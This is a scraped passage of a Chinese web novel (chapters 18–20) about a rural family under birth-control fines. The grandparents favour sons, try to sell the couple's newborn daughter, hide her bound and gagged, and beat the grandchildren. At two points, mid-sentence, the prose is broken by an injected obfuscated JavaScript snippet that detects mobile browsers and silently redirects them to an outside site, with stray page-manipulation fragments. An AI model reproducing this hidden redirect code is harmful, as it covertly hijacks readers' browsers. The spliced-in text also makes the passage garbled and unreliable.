“爸,妈,你们这还有鸡蛋吗?我再来买一点。”陆平踏进木屋内。 两位老人坐在堂屋里择菜,看见他一副缺心眼的样子,气不打一处来。 陆天松气得将手中烟斗扔过去砸他,“有狗蛋有鸡蛋!” “我的那几个鸡蛋,我宁愿明天杵着拐棍拿上街去卖,我也不卖你!” “你是不是蠢,你那个婆娘值得吃什么鸡蛋?”高翠英抖抖索索站起来,手指头快要砸在陆平的脑袋上了。 陆平被逼得连连后退,背撞在门框上才停下,“就是几个鸡蛋,你们至于吗?人生儿生女不都是我的吗?照你这样说,她没生儿子,就不是我媳妇了?” 陆天松大骂,“这种媳妇你要来找死啊?” “我不管,反正以后她不能在我们家住了,你重新娶一个会生的,她我们家养不起。”高翠英气着气着,反倒委屈起来了,开始抽抽搭搭地哭,“你说生一个女儿就算了,她生第二个,好嘛,我忍了,又生一个,还是女儿。这种女人,我们家不要,要不起。” “搞得好像是她嫁过来,你们花了很多钱在我们们两口子身上一样。”陆平算是明白了,这一趟他就不该来,以前的种种他不说,不代表他不记得,“我哥结婚,欠下的钱,你们要我帮忙还。好,我还!我结婚,家里什么都没有,我带了几次女人回来,看见家里的情况,看见你们对我的态度,她们全瞧不上我。秀珍人好,不嫌弃我穷,不嫌弃周围人说你们无理说你们人品不行,还嫁给我。她之前对你们那么好你们全没看见,生了陆易安,我大嫂来挑拨几句你们就赶紧喊我打死她!” 高翠英唾沫横飞,“不然呢,她那么没出息,是要留着把你吃干抹净吗?” 陆平哽咽着说:“妈,你当初生我姐的时候,我奶打你,就算生了我哥和我,她和我爸也在打你。我小时候抱着他们的腿,哭着求他们不要打我妈。我奶奶怎样对你的你不知道吗?为什么你还要这样对待秀珍呢?” “老娘生了儿子,她跟我没法比。”高翠英懒得听他说一些有的没的,“反正以后要她没我,要我没她。” * 陆平回到家时,刘秀珍已经给女儿取了小名——陆果果。 老房子距离陆平的两间平房不远,不过隔了一片小竹林。陆平和两位老人的吵架声,屋里的几人听得清清楚楚。 马金凤听罢,立马跑回家去拿鸡蛋,甭说买了,送给陆家都行。 她当初生大女儿时也是这样过来的,最看不惯的就是这种婆婆不把儿媳当人的桥段。 陆易宁看见父亲偷偷在前屋擦眼泪,走过去说:“我妈给妹妹取了一个小名。” “哦,叫什么?”陆平扯了一节卫生纸,擦掉鼻涕。 “叫陆果果,很好听是吧?” “陆果果,好啊。”陆平擦干净脸,摸了摸二女儿的头,才去了里屋。 刘秀珍看他一脸颓样,笑道:“又跟你爸妈吵架了?” “鸡蛋我在坡上吃够了,不用买。” “又不关鸡蛋的事。”陆平拉来一张凳子,坐在床边守着熟睡的女儿,“哥刚才打电话来说,果果的事解决了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438376|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“解决了?” “大嫂的堂弟还是表弟的弟妹就在镇政府里上班。哥和大嫂已经帮我说明了情况,明天我拿七七的缴费证明去给她签字,抓计划的那些人以后看见不敢说什么的。昨天我去街上,刘林还给了我一些钱,他说让我再去找那个人出个证明,那些人不敢乱收费的,最多交个六千块。” 刘秀珍的心终于可以放平了。 当初听见别人说村里还有镇上凡是去挖煤,或者去广东打鱼的人回来,只要超生,都会被罚上万块。 有一家甚至被罚了两万多。毕竟做这种要命的活计,赚得多,偷摸着多罚点也不是事。 高翠英以前天天在村里炫耀小儿子挖煤工资高,每隔两个月都会寄钱回家,所以陆平之前在文水市挖煤的事村里人都知道。 刘秀珍和陆平担心会被罚得很惨,所以陆平前段时间天天跑工地,跑去找活做。 现在终于可以松口气了。 陆平说:“我明天上街,去请大嫂的弟弟还有他亲戚吃个饭。你要什么,我给你买来。” “我能要什么?”刘秀珍说:“你去的时候,买点奶粉放在刘林家里,让刘林回家的时候,带去给大嫂。大嫂这段时间食欲不好,也不知道最近怎么样了?” “哥在电话里说今天能吃半碗饭,不多,吃得清淡。” 刘秀珍肩膀一沉,笑了笑,“能吃饭了就好,总比不能吃好。” 陆易宁和陆易安躺在外屋的小床上,陆易安已经睡着了,陆易宁听见父亲的话,连忙爬起来,走去母亲的床边。 “爸,我明天也要跟你一块去小舅舅家。” 陆平拒绝道:“不去,你在家里陪妈妈。” “我就好好待在小舅妈家里陪表弟玩耍,我不烦你,你就让我去嘛!” 陆平摇头,见老爸无动于衷,陆易宁转去求老妈,“妈,你就让我爸同意行不行,我想小舅舅和小舅妈了。你放心,我不会捣乱的。” 这是第一次女儿向自己提要求,刘秀珍看着这个懂事的女儿,实在不忍心拒绝她。 “你就带她去吧。” 陆平答应了,“那好,明天早点起,别让姐姐发现。” “好!” 不一会儿,马金凤一手抬着一个小铁锅来到陆家。 左边的锅里是鸡蛋,右边的是一坨牛肉。 陆平和马金凤推推搡搡半天,总算收下她拿来的心意。 第二天天刚蒙蒙亮,陆易宁鸡一打鸣就醒了,穿好衣服坐在床上。 陆平带着她出门,看见马金凤起来喂牛,塞给她一百块请她帮忙照顾刘秀珍和陆易安两天,如果陆天松和高翠英来找麻烦,帮忙拉着点。 马金凤本身就是个热心肠的人,陆平不去请,她也会关照刘秀珍的。 这家子生活在这片地方,周边亲人的人嘴巴都跟抹了毒一样,什么难听说什么,各种欺人太甚。 她一个外人都看不下去。 * 走了七八分钟的山路,陆平牵着女儿的手,走得并不快,“我的二宝贝累不累啊?。” “我不累。” 陆平蹲下来,“你是要爸爸抱你走,还是要爸爸背?” 从家里走去街上至少也要四五十分钟,陆易宁摇头,“不用,我能走。” “你今天早上没睡够,爸爸背你的时候,可以在背上睡觉。” “我不困。” “那我们骑马马?” 最后,陆易宁坐在父亲的肩膀上,陆平时而加速向前,时而突然刹车。 东方的太阳已经露出了全貌,晨雾渐散,凉意漫消,马路边的玉米地里,玉米的叶片露水凝结沿着茎脉滑落进黄土。 清晨的马路上,只有一牵着牛的老头,抽着烟斗与父女二人的笑声擦肩而过。 19. 第十九章 父女二人这一去,当天并没有回来。 刘秀珍担心他们,打电话到刘林家,是孙书琴接的电话,得到的答案是陆平刚从医院里回来。 超生的家庭,夫妻必须有一方进行节育手术。 规定是死的,规矩是活的。只要被罚了款,该做的手术就必须做,这一点刘秀珍很清楚。只是她刚生完孩子,太累了,想缓几天去交罚款,再考虑这个问题。 没曾想,陆平交完罚款,直接去了医院。 刘秀珍挂掉电话,她知道发生了什么。悬挂在心头的一块石头坠下来,掉入深渊,没有踏实感,空荡荡的,实在不是滋味。 另一边,高翠英和陆天松在刘秀珍生下女儿后,加上大儿媳妇这段时间的刻意示好,关系恢复如初。 诡异的三角关系成功转成了以往的模样。 陆远和陈英开始当孝子,每天会去老房子帮父母喂猪喂牛,趁着陆平不在家,几人在合计如何将陆果果卖出最大的价钱。 在这个年代,将多生出来的孩子送人,遗弃,卖钱再正常不过。 土堆成的灶火上支了一个大铁锅,锅里蒸煮着一锅烂了的土豆。 陆远在往火里面添柴,陆天松卷上烟叶,放进烟斗,对着火堆根部点燃,含着烟嘴吸了一口,吐出来的烟雾混合着柴火燃烧的滚滚青烟在空气中缠绕。 “来信了没?”陆天松紧锁着眉头问。 “之前联系的那个,人家已经有了一个女儿,不想要了。”陆远被烟熏得眯了眯眼,“当年明明说好将老二家的大女儿送过去,结果呢,老二神戳戳嘞,打电话去骂去咒人家,谁还会买啊?” “你不是说还有两家吗?” “那不是还没打电话来吗?” 陆远话音刚落,陈英就火急火燎地跑到柴房门口,“来了,来了。杨长镇的那家来消息了,他们夫妻二人今天回老家,会开车来吉长,我们抱着孩子去村口提前等着就行。” 陆天松顾不上吸烟了,“是住在县城里有工作,还失孤的两口子吗?” “对,就是他们,还是开着小车来的。” 陆天松畅快地呼出一口烟,“县城的好啊,好啊!” 有意买孩子的两家人里,就县城的两口子大方,二话不说,两千块钱。 一个赔钱货能卖出两千块,以后还能去别人家吃香的喝辣的,也算是她这一生最大的福报了。 陈英将此事转述给高翠英,婆媳二人一合计,两千块,两个老人七百,大儿子一家一千,剩下的三百买点好的去看小儿媳妇,当是生孩子的辛苦费。 真是桩好生意。 消息落了响,剩下的就是找时机去偷孩子。 陈英特意不去地里,专门在家守了一天。 刘秀珍已经能下地了,加上马金凤那个多事婆,天天跑过来围着小孩转,能下手的时机少之又少。 傍晚,马金凤忙完地里的活来看刘秀珍,刚从陆平的家里离开。 陆易安一个人坐在门口抓石子儿,陈英在家里一边洗碗一边往院坝里瞄。 “陆一明。”陈英朝正在写作业的大儿子使了一个眼色,下巴一直往门口的方向抬,“你去和陆安安玩抓石子,然后问一下她妈妈睡着了没有?我明天给你五角钱。” 陆一明明白母亲的意思,放下手中的削笔刀和铅笔,跑了出去。 陆一明一步一步地往前走,好声好气地问:“陆安安,你妈妈睡了吗?你怎么一个人在门口玩?” 陆易安抬眼看向他,立马垂下头,自己玩自己的,“关你屁事?!” 陆一明回头看了母亲一眼,陈英则是一直用手背对着他挥手。 只能硬着头皮上了。 “陆安安,我跟你一块玩儿吧?” 陆一明小跑上来,没跑两步便被陆易安唬得停住脚。 陆易安手里握着两枚石子儿,小眼睛一动不动,凶巴巴地盯着陆一明,“你滚开!离我家远点,信不信我扔石头砸你!” 陆易安举起手中石子儿,眼看就要砸过去了,陆一明被吓得赶紧跑回家。 一般这种情况,陈英会冲出家逮着陆易安一阵吼,想到还没到账的一千块,陈英只能生硬地扯出一抹微笑,用力擦干净手中的泡沫,走出家门,和蔼地问:“安安啊,大伯母家里有你最喜欢吃的小笼包和麻辣片,你要不要来跟哥哥一块吃啊?” 陆易安往她的屋里看了一眼,大声嚷嚷道:“我才不吃,你要是在里面下耗子药敌敌畏,害死我怎么办?” 说完,立马扭头回家,将家门砸得哐哐响。 陈英愣在原地,后槽牙都快咬碎了。 这死孩子的嘴巴和脾气怎么能这么臭啊! 刘秀珍刚睡着又被吵醒,连忙叫来陆易安,“你奶又来家门口骂了?” “她今天没来。”陆易安贴着刘秀珍说:“刚才那个凶婆娘喊我去他家吃小笼包,我没去。妈妈,爸爸什么时候才给我带小笼包回来啊?” “过几天就来了。” “要过几天啊?我都多久没肉吃了。” “你昨天不是去金凤婶婶家吃了牛肉吗?”刘秀珍手指比着嘴巴说:“小声点,别吵妹妹睡觉。” 陆易安看向床头熟睡中的婴儿,嘟起嘴生闷气。 什么妹妹,烦死人了,只会哭,什么都不会。 * 马金凤收了陆平给的钱,专门杀了一只鸡炖好,天一黑就来陆家喊刘秀珍和陆易安母女去她家吃晚饭。 高翠英喂完猪,站在猪圈外面看见马金凤和刘秀珍穿过马路,有说有笑的去她家里,气不打一处来,扯着破锣嗓子骂:“哎哟,我啷个不晓得我们村多了个观音菩萨,管事管那么宽,管到别人家来了。那种人饿死都活该,有些婆娘啊,家里面的男人没个球出息,还想着给她找小老婆啊!算求咯,那种人我们陆家不要,送给别人家当二房,继续生赔钱货!” 刘秀珍撇头,只看见老太婆的手指头正在往她和马金凤的方向挖。 因为生了女儿,这几天,老太婆和老头子换着时间到家门口骂。老太婆在村里传她没出息,生了女儿,恨不得抓计划的把她抓去坐牢。 这些事邻居大姐都来家里说过,刘秀珍不去问还好,一去老房子,两个老人说着就要动手打人。 被骂时,她一旦回嘴,两人就拿着锄头上来砸门。 这个破日子真不想过了。 马金凤将刘秀珍拉到家里,让她好好坐着,自己一个人出去和高翠英吵。 “死老奶,你是日子过得太好了是不是?老娘想喊谁来我家就喊谁,关你球事?说我男人没出息,如果不是他,你去年冬天就饿死在家了。” 马金凤后悔死了,当初是眼睛瞎成什么样才会觉得她可怜。 过冬的时候,陆天松腿受伤,马金凤的男人陆大军看她一把年纪还去井边提水,一次只能提一点。陆大军心疼她,每隔一段时间就去帮她挑水吃,为此还被陆远和陈英登上门骂。 现在好了,老东西的腿脚好了,老太婆和大儿媳妇和好了,开始狗叫了! 陆远听到骂战,眼珠子一转,连忙跑去老房子将母亲拉回家。 难得的好时机,如果继续吵下去,孩子就偷不成了。 * 刘林开着三轮车送陆平和陆易宁回来时,家里正闹得厉害。 因为孩子不见了。 刘秀珍在大马路上找孩子找得正慌神呢,有人说他回家的路上,看见陈英抱着一个孩子从村口回来。 刘秀珍听罢,去问陈英反被陈英挖苦数落。 失女心切的刘秀珍被惹急了,发了疯似地砸陆远家里的东西。 地上全是被她砸碎的陶瓷碗。锅瓢碗筷,柜子里的衣服,床上的被子枕头摆了一地。 她手里拿着菜刀,陆远和陆天松还有几个来帮忙劝人的邻居站在门边,硬是没人敢上去拉。 陈英刚煮的豆花也被她砸在地上,她去拉刘秀珍,反被刘秀珍一脚踢倒在地。 “把我孩子还给我!”刘秀珍手中的菜刀指着陆远,怒吼:“快点!” “谁得你孩子了?”陆远心平气和地劝她冷静,“你把刀放下,我们一起去找孩子好不好?” “我不管,就是你们偷走了!” 高翠英被刘秀珍打了巴掌,陆易安和陆一晨被吓到,则是坐在院坝里哭。 “是不是你把我妹妹偷去卖了?你快还给我妈妈呀!”陆易安站起来抱着陆天松的大腿,“你快点还给我妈妈!” 陆天松的胸口才挨了儿媳妇一胯骨轴子,本来就生气,孙女还扯着自己骂,她一脚用力踢开陆易安,“谁得你妹妹了?不要挨着老子!” 陆易宁跑过来时碰巧看见这一幕,二话不说冲上去,逮着老家伙的大腿用力咬了一口。 “啊!!”钻心的疼痛从后腿蹭蹭蹭遍布全身,陆天松用力将陆易宁打走,顺带踢了她的膝盖一脚。 陆易宁忍痛从地上爬起来去拉陆易安。 陆平和刘森赶到时,看见的一幕就是妻子在陆远家砸东西,父亲在打自己的两个孩子,而邻居连帮忙的空子都找不到,只是陆大军在用力拉着陆天松的衣服,让他下手的力气小点。 刘林跑进屋,温声细语才将姐姐手中的菜刀骗到自己的手上。 陆平的伤口太疼,实在没什么力气跟父母兄长讲道理,只是苦苦哀求他们将自己的女儿还回来。 陆易宁不想看这一幕,眼下去找到妹妹才是唯一的办法。 妹妹不在家里,看样子也不在陆远家,可能就是在老房子。 大人们乱做一团,陆易宁揉了揉发红的膝盖,拉着陆易趁乱安跑去老屋。 “陆七七,你确定妹妹在死老仔家里吗?”陆易安边哭边问。 还好小舅舅来的时候带上了手电筒,陆易宁拿着手电,推开老房子堂屋的大门,“先找再说。” 卖孩子这种事如果老的不开口,陆远和陈英没有那么大的胆子。 这件事跟两个老人扯不开关系。 堂屋里的东西少,一眼望去没有。睡觉的地方全是脏衣服,没找到,找了一圈,也喊了一圈,啥都没找到,也没听到。 陆易宁的手脚都是抖的,她以前只听母亲抱怨过妹妹差点被卖的事,母亲说十之八九是两个老人做的好事,但具体的细节她没说,只说妹妹是姐姐找到的。 陆易宁跑去做饭的房间找陆易安,“陆安安,你好好想想,这几间屋子里的哪个地方最难找?” 陆易安关上碗柜,小脑瓜转了转,连忙跑出房门。 陆易宁跟在她身后,跑去爷爷奶奶用来堆猪草煮猪食的破房子。 最后,两姐妹在草堆后面的破柜子里找到了妹妹。 这个破柜子是高翠英特意给孙子藏好吃的地方。 陆易安来爷爷奶奶家,两个老人偏心,只给孙子吃好吃的,不给她吃,那她就自己找来吃。 老房子所有能藏好吃的地方她都知道,高翠英只得变换藏宝地,但是最新的藏宝地也被陆易安偷偷跟踪她找到了。 陆果果被人裹在一床小小的薄被里,再用一条布带牢牢地捆住被子,这样她就她抻不开手,嘴被人用布条蒙住,就算哭也哭不出声音。 陆易宁小心扯掉妹妹嘴上的布条,眼泪忍不住掉在裹着妹妹的被子上。 * “她就算是个女儿也是我的孩子啊!”陆平跪在地上,用力拉扯陆天松的裤腿,“你们就还给我行吗?我该缴的费用都缴了,该做的手术也做了,你们凭什么把她藏起来?!” “哎哟,老天爷啊!我到底是做了什么孽,才生了你这个白眼狼啊!好端端地去做什么手术?”高翠英坐在地上撒泼大哭,指着陆平的脑门骂,“你滚!你不是我儿子!” 陆大军不忍心,“二伯,他都这样了,你就把他的孩子还给他吧!” 陆天松没有一丝心疼小儿子的心情,更多的是失望和气愤。 “滚!你们都给老子滚!” 陆易安抱着妹妹回家时,陆平还跪在地上求他父母,求他大哥大嫂。 陆易宁见状,嫌他不争气,更多是心疼。 他刚做了手术,在小舅舅家躺了两天,勉强能下地就要回家。 好死不死,回来还撞见这一幕。 “爸爸,妹妹找到了。”陆易安在路上大喊。 刘秀珍和刘林闻声,赶紧冲过去。 是她的女儿没错! 孩子找到了,两个老东西肯定又会说一些有的没的。孩子在哭,显然是饿了,现在刘秀珍的情绪不稳定,马金凤只好把她带回自己的家中,多加安抚。 陈英和陆远四目相对,脸色跟吃了苍蝇一样难看。 县城里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438377|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那对夫妻说临时有事要晚点才到,所以陈英在村口没接到人,才把孩子抱去老房子。谁知道那两口子拖到现在还没来,反而刘秀珍听到消息,开始在自己家里砸东西。 陆天松心里盘算着,这个孩子是卖不出去了。 小儿子交的罚款比买金还多几倍,买卖开始亏了。 陆平松开手,如释重负。 陆天松一脚踢开他,“老子提醒你一句,那个小短命的东西你就算丢在路上被车压死,也比养着好。” “爸,她是我女儿啊!我怎么能忍心那样做?” 陆远跟着掺和道:“爸说得对,我劝你与其养她,还不如把她扔在路上,让别个想生女儿的人家捡去养。白白给别人家养娃,老了什么都得不到。” 陆平斜了他一眼,“我跟你也是儿子,你是给爸妈多少钱了?还是出多少力气养他们了?” “……” 陆远理亏,无言以对。 陆易宁小跑过来拉父亲,“这是我家的事,关你屁事?!” “你看看!”高翠英抹掉眼泪,食指发抖地指着陆易宁,“这就是你养的好女儿,生出这种小孩还不如打死。” “那你打啊!”陆易宁装也不装了,跑回家提着菜刀出来,“来啊,看哪个先砍死哪个?” “诶,七七,这可不行啊。”陆大军连忙从她手中将菜刀夺过来。 大人做事会考虑,小孩子做事没轻没重的,万一伤到哪就不行了。而且,陆天松和高翠英这俩货也是心狠手辣的主,菜刀落谁手里都不行。 高翠英一看,哪得了,一个毛丫头敢和自己叫嚣了! 又开始鬼哭狼嚎,“陆老二,这就是你婆娘生的好东西!老娘不管,以后你要么继续喊我是妈,要么就把你婆娘打回家。” 刘林在马金凤家门口听到这话,鼓足声威胁道:“我看谁敢打我姐?” 高翠英跟没听见一般,继续哭天喊地。 “谁稀罕叫你妈啊,你配吗你就让人叫你妈?”憋了那么长时间,平常总是刻意表现出几岁孩子心性的陆易宁,这一刻实在忍不了了,“一个当爹当妈的,生了几个孩子,屁股专门往大儿子一家歪!嫌我妈生不出儿子,你明明也生过女儿,也挨过白眼,为什么还要那么对她?你不是女人吗?” “不对,你还是人吗?就算是母猪也不见得只对它生的公猪仔好啊!” 高翠英的哭声戛然而止,没想到居然能被个三岁小孩吼。 “陆七七!”陆平出声制止。 “你别管我!”陆易宁扯着嗓子喊。 她没办法跟这帮人扯什么生男生女的生物知识,唯一能做的就是指责和谩骂。 时代变化的风吹得再猛烈也吹不到他们跟前,这里的山太高了。 “你看,你看,这就是你生女儿的好处。”陆天松似笑非笑地对陆平说。 “就是因为我是女的,我还生了像你这样的赔钱货,才知道生儿子的好处。”高翠英抖着腿站起来,口水喷在空气中,“我妈就是这样教我的,我爹就是这样对我的。我嫁给你爷,生了你大姑姑那个白眼狼,你知道我被你祖奶奶和你爷打了多少次,饿了多少顿吗?我生了我大儿子我才得的好日子过,儿子好不好我不清楚吗?老娘告诉你,生女的就该打,该滚!我们都是这样过来的,我不好过,凭什么你妈就要好过?” 老太婆吼得嘴唇颤抖,沙哑的声音在院坝里回荡。 “那该怪我妈吗?关我妈什么事?”陆易宁咽了咽口水,仰起头,哪怕用力克制,身体还是抖个不停,哭得喊破了音,“你该怪的不是我妈,该恨的也不是那个倒了大霉被你生出来的女儿!你该指责的人是轻视你的爸妈,”陆易宁转头瞪了陆天松一眼,“是因为你没生儿子对你冷语相待,暴力相加的男人!不是一个跟你前半辈子痛苦扯不出半点关系的女人!你懂吗?!” “我不懂!我什么都不懂!”高翠英撕心裂肺地嚎哭。 陆易宁觉得脑袋好重,脸颊和耳朵又红又烫。 心好累,好无力。 她说了一句虽是事实,但像诅咒的话,“你们那么喜欢儿子,想要孙子,你们以后会被你最疼爱的儿子活活拖死的你知道吗?” 这句话明显碰着了陆天松的神经,二话不说一巴掌拍在陆易宁的头上。 陆大军将菜刀扔进陆平家里,关上房门,赶紧跑过来拉住陆天松。 孩子被打,陆平晚了一步,将陆易宁护在怀里。 太生气了,陆易宁管不了那么多,管他是长辈还是什么东西,就算是老祖宗她也要骂。 “呸!什么东西?”就算挨了打,她也顾不着疼。陆易宁冲陆天松吐口水,不屑地说:“天天骂我爸妈没出息,你才是那最没出息的混球。年轻的时候当软蛋,眼睁睁看自家婆娘被爸妈打,你不帮忙就算了,还火上浇油。有点年纪了,你倒是硬气了,看婆娘和儿媳妇吵,你雪上加霜,又开始挑拨怂恿儿子休妻。” 真是活久见,今天能看到三岁的孩子像个大人一样骂她爷爷,现场的人瞠目结舌。 怕旁人插话,陆易宁歇斯底里,提前阻断他们的说教,“不要说我不能骂他,他敢做混账事,我就敢说!” 周边的看客不怎么想劝她,他们倒想看看她还能骂出什么来? 陆易宁吼得声音都哑了,“二十几岁,你听你爸妈的话打媳妇。活到中年,听媳妇的话折磨父母折磨晚辈。从来不想着化解矛盾,就想着当耙耳朵欺负人,人一辈子怎么能活成你这种鬼样子?你这种人有幸活到晚年,也活该凄凉悲惨!” “老子日你仙人板板的,再给老子乱叫,老子打不死你。” “你去啊!你去!你先人要是知道打死那么多女儿就为了能生出你这种没出息的废物东西,还不如早点断子绝孙的好!” 被一个三岁小孩骂成这样,陆天松暴跳如雷,给了陆大军一个肘击,怒不可遏地冲到陆平跟前,非要要把陆易宁抓过来打死。 虽然陆平的动作快,但是老家伙的速度更快,陆易宁的脑门又挨了一拳。 陆平的后背对着陆天松,陆易宁被他抱在怀里,听见拳头砸落在父亲背上的声音,顿时眼冒金星,昏昏沉沉地瘫坐在地上,“你等着吧,你大儿子会亲自送你入土的。” 陆远看戏看得入迷,突然被cue到,一下急了,“你个死孩子,怎么说话的?” 20. 第二十章 买孩子的人反悔,提前在自家老家杨长买了一个女孩,所以没有来村里。 闹剧在陆平的苦苦哀求声与高翠英的咒骂声中结束。 刘秀珍和小女儿被刘林带回自己家,陆平哄好大女儿和二女儿睡觉,第二天一早就赶着坐村里人的牛车去街上看刘秀珍。 天才蒙蒙亮,外面的鸡叫声此起彼伏,陆易宁爬起来,眼睛肿得不行,差点睁不开。 陆易安睡得熟,没被吵醒,陆易宁撕了半截纸,沾了点水,坐在墙角的小凳子上,轻轻按压着眼睛。 头好重,昏昏沉沉的。 昨晚老家伙那一巴掌很用力,她当时就差点昏过去。 掀开裤腿一看,被老家伙踢中的地方已经发紫了。 以前,她不记事,只知道爷爷奶奶重男轻女。切身感受到,才发现这个思想压在人身上怎么会跟个石墩子一样压得人喘不过气。 在这个家里,心地善良,只会被别人践踏。 陆易宁以前也想过,爷爷奶奶两个尖酸刻薄的人生出来的孩子,怎么着也该像大伯那种自私自利,为什么父亲会是这样的呢? 跟个软柿子一样任人拿捏,除了他缺心眼,一家人全是心眼子。 她一直以为是歹竹出好笋,老陆家的基因开出了盲盒。后来听母亲说,父亲十五岁以前也是一个混球,除了爷爷奶奶,他只听一个人的话。 母亲说,父亲有一个姐姐,比他大七岁。 大姑姑名叫陆生玓,“玓”与“弟”同音,原本她叫陆生弟,结果陆天松去上户口时,碰上了一个文化程度不高且听力不怎么好的登记员,连简单的“弟”字都不会写,硬生生把弟弟的“弟”写成了“玓”。 陆天松没怎么上过学,糊里糊涂地就给大女儿上了户口。 十七岁以前,姑姑一直以为自己叫“生弟”,因为父母和周围的人都是这样说的。直到十岁的二弟上学,读到了一年级,教她认识了一个字——弟。 她拿来户口本,细细比对,确定了自己名字中的“玓”与“弟”不一样。 二弟第二天去学校,在字典上查了姐姐的名字。放学回来,去地里和姐姐做农活时,他告诉姐姐,你的名字是闪闪发光的意思。 那一天,她从地里回来,陪着弟弟在油灯下写字,只会写简单字的她,跟着弟弟的动作,一笔一划把自己的名字写在方方正正的纸格子里。总共写了十个。 所以,大姑姑短短的一生,一共有两个名字。 十七岁之前,她一直以为自己叫陆生弟,十七岁以后,她发现自己的名字是陆生玓。 十八岁,父母收了钱,私自为她在村里谋了一个婚事,与一个大她十三岁,刚从广东回来的男人定了婚约。在两位弟弟的帮助下,她逃走了,逃出了村子,去了县城,辗转去了省会城市。 十八岁到二十二岁,手脚麻利的她运气好,在城里找到了工作,做女工。每隔两个月就会给家里寄一笔钱,让父母还给她名义上的“未婚夫”。 几年的时间里,她结识了回家探亲的军人梁岁程,两人相爱了两年。 十八岁到二十一岁的她,是陆生玓。 父母托人进城去找她,用各种理由唤她回家,装病服软也好,认错也罢。 当她觉得一切水到渠成时,她心软了,二十二岁的她带着梁岁程回到吉长,她让梁岁程在街上等她几天,她需要和父母好好沟通。 回到家,她说出了自己想和梁岁程结婚的想法。 父母觉得她疯了,母亲指着她的额头骂她下贱,是荡/妇,是破鞋,不要脸,丢家里的脸,当天就将她锁在家里,逼她结婚。 二弟带她逃到村口,却被父亲跟一群人打了回去。 那两日,她回到了以“家”字为幌子的魔窟,她又变成了生弟。 第二天晚上,她被父亲和别的男人捆着送进了村尾“未婚夫”家里刚布置没多久的新房。 次日凌晨,天还没亮,她拿着手电,在寂静的村庄里疾驰,跑到河边,毅然决然跳了进去。 天亮之前,她终于永远变成了生玓。 被锁在家的弟弟第二天一早被放了出来,因为姐姐死了,要办丧事,他要帮家里做事。 在她入土后,父母都没有反省过自己的错误,依旧在咒骂她自私。 他们责怪自己,责怪自己生了一个不懂感恩,恩将仇报的白眼狼。 陆易宁擦掉脸上的眼泪,哭得太久了,眼睛很疼。 母亲说,父亲因此生了一场大病,每天头疼欲裂,爷爷奶奶让他自生自灭,最后还是大伯看不下去,偷了父母的钱请土医生来给他治病。 父亲好了之后,就再也闹腾不起来了。 他十六岁那年跟别人跑去广东挣钱,去黑心工厂,二十岁回家,两位老人看他赚了点钱,拼命去对他好,去弥补他。 他们跪在儿子的跟前,俯首作低,涕泗横流,以死相逼,但从没觉得自己做错了。 宁愿跪最不喜欢的儿子,也不愿去女儿的坟前站着忏悔。 第一世,爷爷奶奶离世,陆易宁都没哭,被陆远的两个儿子骂她小小年纪,却是个白眼狼。 上一世,奶奶离世之前,说想看一眼她的孙女。哪怕母亲生拉硬拽,陆易宁也没去。 今夜,陆易宁继续像上一世那般祈祷,祈祷爷爷奶奶的认知,也能像前两世一样给他们带来相应的苦难。 * 从接到刘林电话的那一刻起,马春花的嘴巴就没停下来过。 晚上躺在床上辗转反侧,怎么睡也睡不着,干脆起床,去火房里鼓捣一阵。往箩筐里装了两块腊肉,一袋子煮好的肉粽子,两把挂面,还有大孙子昨天上街淘来的杨梅,塞七塞八的,凑了一箩筐。 第二天,天刚亮,孩子们还没起床,临近七十岁的老太太背上箩筐,拿上一根细竹竿当拐杖,风风火火地出了家门。 女儿生孩子,她一个当妈的早就想去照顾她。但是女儿不让,嘴上说着政策紧,不想被发现,等生完孩子凑齐罚款再说,马春花就一直等着。 好嘛,多等了点时间,陆家的那对癫公婆就不把她女儿当人了! 不照顾女儿月子,她亲自去照顾。 …… 孙书琴一晚上只顾着和刘林一起骂陆天松两口子和陆远两口子了,早上差点起不来床。 刘林开的粉馆就在隔壁。 一大早就起来做早饭,然后去隔壁将店门打开,在店里准备今天的食材。 刘秀珍喂完孩子喝奶,孙书琴盛了一碗稀饭放到她面前,“姐,吃点稀饭,这是刘林专门给你做的。” “你不吃吗?”刘秀珍看她面前什么都没有。 “我吃过了,而且我又吃不惯甜口的稀饭。” 刘秀珍唉了一声,开始吃早饭。 孙书琴看着她吃,单手托住下巴,“姐,我和刘林商量过了,他们陆家不当人,我和刘林今天中午就去村里把安安和七七一块接过来。你们母女几个在我家住上一段时间,反正我们租的房子大,店后面还有一间房呢,随随便便都能铺上一张床的。” 孙书琴是个热心肠,以前上学时就是刘秀珍的小跟班,最见不得自己大姐吃亏了。 “我和果果在这都很麻烦了,要是再把那两个叫来,你们的负担重得很。” “有什么负担,你不知道,刘佳去读书,我家刘宇则在家里一个玩伴都没有。昨天七七回去,他哭了大半天我才哄好。”孙书琴苦苦请求道:“姐,你就让我去把她们姐妹俩接过来嘛,我都一个多月没见你家陆安安了。” “她们两个跳得很,你又要开店,她们万一去你店里玩,砸到你店里的东西怎么办?” 